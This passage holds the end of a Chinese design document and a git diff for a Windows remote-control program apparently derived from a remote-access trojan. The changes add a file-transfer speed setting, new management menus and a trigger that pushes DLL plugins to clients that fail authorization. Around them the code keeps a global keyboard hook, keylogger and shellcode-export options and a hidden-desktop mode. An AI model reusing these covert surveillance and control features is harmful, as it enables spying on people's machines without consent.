| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
|
||||
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
|
||||
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
|
||||
| 6 | 不限速 | 1024 | 0 | 网络上限 |
|
||||
|
||||
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
|
||||
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
|
||||
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
|
||||
|
||||
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
|
||||
|
||||
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 两个方向的生效链路
|
||||
|
||||
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
|
||||
|
||||
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|
||||
|---|---|---|---|
|
||||
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
|
||||
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置,下次打开文件管理会话生效 |
|
||||
|
||||
### 4.1 上传方向(主控端本地,无协议改动)
|
||||
|
||||
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
|
||||
|
||||
```cpp
|
||||
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
|
||||
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
|
||||
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||
```
|
||||
|
||||
### 4.2 下载方向(需下发到被控端)
|
||||
|
||||
新增命令 `CMD_FILE_SPEED`,照 `CMD_QUALITY_LEVEL(78)` 的“服务端下发 → 客户端持久化 → 本地生效”套路:
|
||||
|
||||
1. **`common/commands.h`**:新增 `CMD_FILE_SPEED = 252`(命令号单字节,252 < 255 安全)。
|
||||
2. **命令格式**:`[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]`,共 5 字节。
|
||||
- 传原始 `chunkKb`/`durationMs` 而非档位索引,**避免客户端复制映射表**,映射表只存在于主控端对话框。
|
||||
3. **主控端下发**:在 `OnOnlineFileManager()`(`server/2015Remote/2015RemoteDlg.cpp:4737`,发 `COMMAND_LIST_DRIVE` 开文件管理会话)发 `COMMAND_LIST_DRIVE` **之前**,先经主连接把当前档位 `CMD_FILE_SPEED`(5 字节)发给被控端;`OnOnlineDesktopManager()`(`2015RemoteDlg.cpp:4723`,发 `COMMAND_SCREEN_SPY`)同理也发一次,覆盖“先开远程桌面再开文件管理”的引用计数时序。两处都在 `SendFileSpeedCommand()`(`:9310`)统一读取并下发。
|
||||
4. **被控端接收**:在客户端主连接分发 `client/KernelManager.cpp:814` 的 `switch`(`COMMAND_LIST_DRIVE` 所在,`case` 加在 `1280` 附近)加 `case CMD_FILE_SPEED`,把两数写入 `iniFile cfg(CLIENT_PATH)` 的 `[transfer]` 节。
|
||||
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)改为读 `cfg.GetInt("transfer","ChunkKb",64)` / `DurationMs`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
|
||||
|
||||
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
|
||||
|
||||
---
|
||||
|
||||
## 5. 配置存储
|
||||
|
||||
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
|
||||
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `CMD_FILE_SPEED` 写入。
|
||||
|
||||
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
|
||||
|
||||
---
|
||||
|
||||
## 6. 改动文件清单(Windows 端)
|
||||
|
||||
| 文件 | 改动 |
|
||||
|---|---|
|
||||
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
|
||||
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
|
||||
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
|
||||
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
|
||||
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnFileTransferSpeed()` 弹出对话框并写回 THIS_CFG;`OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `CMD_FILE_SPEED` |
|
||||
| `common/commands.h` | 加 `CMD_FILE_SPEED = 252` |
|
||||
| `client/KernelManager.cpp` | `case CMD_FILE_SPEED` 写客户端配置(主连接 switch,`814`) |
|
||||
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
|
||||
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
|
||||
|
||||
---
|
||||
|
||||
## 7. 生效时机与提示文案
|
||||
|
||||
- 上传速度:重启主控端生效。
|
||||
- 下载速度:下次打开该主机的文件管理会话生效。
|
||||
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。`
|
||||
|
||||
---
|
||||
|
||||
## 8. 风险与备注
|
||||
|
||||
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
|
||||
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
|
||||
3. **命令号冲突**:`CMD_FILE_SPEED=252` 需确认 `commands.h` 无重号;252 < 255(单字节 `uint8_t cmd` 上限)。
|
||||
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
|
||||
5. **跨平台**:Linux/macOS 客户端下载路径暂不改(`CMD_FILE_SPEED` 会被老/其他平台客户端静默忽略,向后兼容)。
|
||||
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
|
||||
|
||||
---
|
||||
|
||||
## 9. 实施顺序
|
||||
|
||||
1. `common/commands.h` 加命令号 → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
|
||||
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
|
||||
3. 主控端下发 `CMD_FILE_SPEED` → 客户端接收持久化 → 客户端调用点读配置(下载方向)。
|
||||
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
|
||||
Binary file not shown.
@@ -20,6 +20,7 @@
|
||||
#include "AudioDlg.h"
|
||||
#include "RegisterDlg.h"
|
||||
#include "ServicesDlg.h"
|
||||
#include "ConnectionsDlg.h"
|
||||
#include "VideoDlg.h"
|
||||
#include <vector>
|
||||
#include <map>
|
||||
@@ -46,6 +47,7 @@
|
||||
#include "common/commands.h"
|
||||
#include "QualityLevelsDlg.h"
|
||||
#include "CPreviewLevelsDlg.h"
|
||||
#include "CFileSpeedDlg.h"
|
||||
#include "McpServer.h"
|
||||
#include "McpSettingsDlg.h"
|
||||
#include "common/md5.h"
|
||||
@@ -669,6 +671,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[63].LoadBitmap(IDB_BITMAP_HISTORY_ACTIVITY); // 历史活动
|
||||
m_bmOnline[64].LoadBitmap(IDB_BITMAP_VIEW_WND); // 浏览窗口
|
||||
m_bmOnline[65].LoadBitmap(IDB_BITMAP_PROXY_AUTORUN); // 代理端口-自启
|
||||
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
|
||||
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
|
||||
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -924,6 +929,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||
ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
|
||||
ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)
|
||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||
@@ -990,6 +996,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
|
||||
ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)
|
||||
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
|
||||
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
|
||||
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
|
||||
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
|
||||
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
@@ -1018,6 +1030,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
|
||||
ON_COMMAND(ID_TOOL_QUALITY_LEVELS, &CMy2015RemoteDlg::OnQualityLevels)
|
||||
ON_COMMAND(ID_TOOL_PREVIEW_LEVELS, &CMy2015RemoteDlg::OnPreviewLevels)
|
||||
ON_COMMAND(ID_TOOL_FILE_SPEED, &CMy2015RemoteDlg::OnFileTransferSpeed)
|
||||
ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
|
||||
ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
|
||||
ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
|
||||
@@ -1416,6 +1429,9 @@ VOID CMy2015RemoteDlg::CreateToolBar()
|
||||
m_ToolBar.SetButtonText(13, _TR("帮助"));
|
||||
m_ToolBar.SetButtonText(14, _T("Lang/语言"));
|
||||
m_ToolBar.SetButtonText(15, _T("MCP"));
|
||||
m_ToolBar.SetButtonText(16, _TR("连接管理"));
|
||||
m_ToolBar.SetButtonText(17, _TR("远程交谈"));
|
||||
m_ToolBar.SetButtonText(18, _TR("主机管理"));
|
||||
|
||||
// ============================================================
|
||||
// UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
|
||||
@@ -2220,7 +2236,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
}
|
||||
|
||||
UPDATE_SPLASH(18, "正在初始化文件上传模块...");
|
||||
int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash());
|
||||
int chunkKb = 64, durMs = 50;
|
||||
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||
int ret = InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||||
|
||||
UPDATE_SPLASH(20, "正在加载IP数据库...");
|
||||
@@ -4349,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN, MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND, MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
|
||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -4489,6 +4510,35 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnChat()
|
||||
{
|
||||
BYTE bToken = COMMAND_CHAT; //向被控端发送开始远程交谈(双向聊天)
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
void CMy2015RemoteDlg::OnMachineManager()
|
||||
{
|
||||
BYTE bToken = COMMAND_MACHINE_MANAGE; //向被控端发送打开主机管理对话框命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
void CMy2015RemoteDlg::OnExperimentFileManager()
|
||||
{
|
||||
BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN; //向被控端发送打开插件文件管理对话框命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentPrivateScreen()
|
||||
{
|
||||
BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN; //向被控端发送打开隐私屏幕(虚拟桌面)命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentDrawingBoard()
|
||||
{
|
||||
BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN; //向被控端发送打开远程画板命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
||||
@@ -4720,6 +4770,9 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
||||
{
|
||||
if (!ShouldRemoteControl())
|
||||
return;
|
||||
// 先下发当前文件传输速度档位,再开远程桌面:避免被控端 ScreenManager 先初始化
|
||||
// 文件上传模块(进程级引用计数)把速度锁成旧值。
|
||||
SendFileSpeedCommand();
|
||||
int n = THIS_CFG.GetInt("settings", "DXGI");
|
||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||
@@ -4729,6 +4782,9 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
||||
|
||||
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
||||
{
|
||||
// 先下发文件传输速度档位,再发 COMMAND_LIST_DRIVE 开文件管理:保证被控端
|
||||
// CFileManager 构造时读到的 [transfer] 配置已是最新值。
|
||||
SendFileSpeedCommand();
|
||||
BYTE bToken = COMMAND_LIST_DRIVE;
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
@@ -5698,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
|
||||
// 统一的 V1/V2 授权验证
|
||||
std::string ip = ContextObject->GetPeerName();
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
|
||||
valid = authorized;
|
||||
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
|
||||
|
||||
@@ -6612,6 +6668,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_CONNECTION_LIST: { // 连接管理【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
@@ -7143,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
|
||||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||||
const std::string& hmacV2, const std::string& ip, const char* source)
|
||||
const std::string& hmacV2, const std::string& ip, const char* source,
|
||||
CONTEXT_OBJECT* sender)
|
||||
{
|
||||
BOOL authorized = -1;
|
||||
bool isV2 = false;
|
||||
@@ -7169,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
ExecuteAuthFailedTrigger(sender);
|
||||
}
|
||||
}
|
||||
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
|
||||
@@ -7190,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
ExecuteAuthFailedTrigger(sender);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -7286,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
|
||||
// 统一的 V1/V2 授权验证
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
|
||||
(void)expired; // 心跳不需要处理过期续期
|
||||
|
||||
// 检查并发送预设续期(多点验证)
|
||||
@@ -7803,6 +7866,11 @@ LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
|
||||
return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
return OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam);
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
|
||||
@@ -8718,8 +8786,11 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
||||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
|
||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||||
std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
|
||||
if (m_HasLocDB) {
|
||||
// 地理信息只在加载了本地 IP 库(QQWry/ip2region)时才查询并展示。
|
||||
// 未装库时 m_IPConverter 是网络版 GetGeoLocation(同步外网 HTTP,可达数秒),
|
||||
// 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
|
||||
if (m_HasLocDB && !res[RES_CLIENT_PUBIP].IsEmpty()) {
|
||||
std::string geo = m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
|
||||
CString qqwryLoc;
|
||||
qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
|
||||
strText += qqwryLoc;
|
||||
@@ -9280,6 +9351,38 @@ void CMy2015RemoteDlg::OnPreviewLevels()
|
||||
}
|
||||
}
|
||||
|
||||
// ===== 文件传输速度配置([transfer] 节) =====
|
||||
// 档位表权威来源见 CFileSpeedDlg.h 的 kFileSpeedTiers。存 ChunkKb/DurationMs 两个 int
|
||||
// 而非档位索引,自解释且直接对应 InitFileUpload 入参,不易错位。
|
||||
|
||||
void CMy2015RemoteDlg::OnFileTransferSpeed()
|
||||
{
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||
CFileSpeedDlg dlg(chunkKb, durMs, this);
|
||||
if (dlg.DoModal() == IDOK) {
|
||||
THIS_CFG.SetInt("transfer", "ChunkKb", dlg.GetChunkKb());
|
||||
THIS_CFG.SetInt("transfer", "DurationMs", dlg.GetDurMs());
|
||||
MessageBoxL("文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。",
|
||||
"提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::SendFileSpeedCommand()
|
||||
{
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||
|
||||
// [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||
BYTE buf[5];
|
||||
buf[0] = CMD_FILE_SPEED;
|
||||
buf[1] = (BYTE)(chunkKb & 0xFF);
|
||||
buf[2] = (BYTE)((chunkKb >> 8) & 0xFF);
|
||||
buf[3] = (BYTE)(durMs & 0xFF);
|
||||
buf[4] = (BYTE)((durMs >> 8) & 0xFF);
|
||||
SendSelectedCommand(buf, sizeof(buf));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ApplyThumbnailSettings()
|
||||
{
|
||||
// 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。
|
||||
@@ -11322,6 +11425,12 @@ void CMy2015RemoteDlg::OnMcpSettings()
|
||||
ApplyFrpSettings();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnConnectionManage()
|
||||
{
|
||||
BYTE cmd = COMMAND_CONNECTION;
|
||||
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnTriggerSettings()
|
||||
{
|
||||
if (m_DllList.empty()) {
|
||||
@@ -11371,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx || m_DllList.empty()) return;
|
||||
|
||||
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
|
||||
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 获取触发器插件列表(从缓存获取)
|
||||
auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
|
||||
if (pluginNames.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||
|
||||
// 遍历触发器配置的插件列表
|
||||
for (const auto& pluginName : pluginNames) {
|
||||
// 查找对应的 DLL
|
||||
DllInfo* targetDll = nullptr;
|
||||
for (auto& dll : m_DllList) {
|
||||
if (dll && dll->Name == pluginName) {
|
||||
targetDll = dll;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetDll || !targetDll->Data) {
|
||||
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// 发送 DLL 到客户端
|
||||
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||
}
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
|
||||
@@ -233,9 +233,10 @@ public:
|
||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
|
||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||
const char* source = "AUTH");
|
||||
const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
|
||||
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||
@@ -347,6 +348,12 @@ public:
|
||||
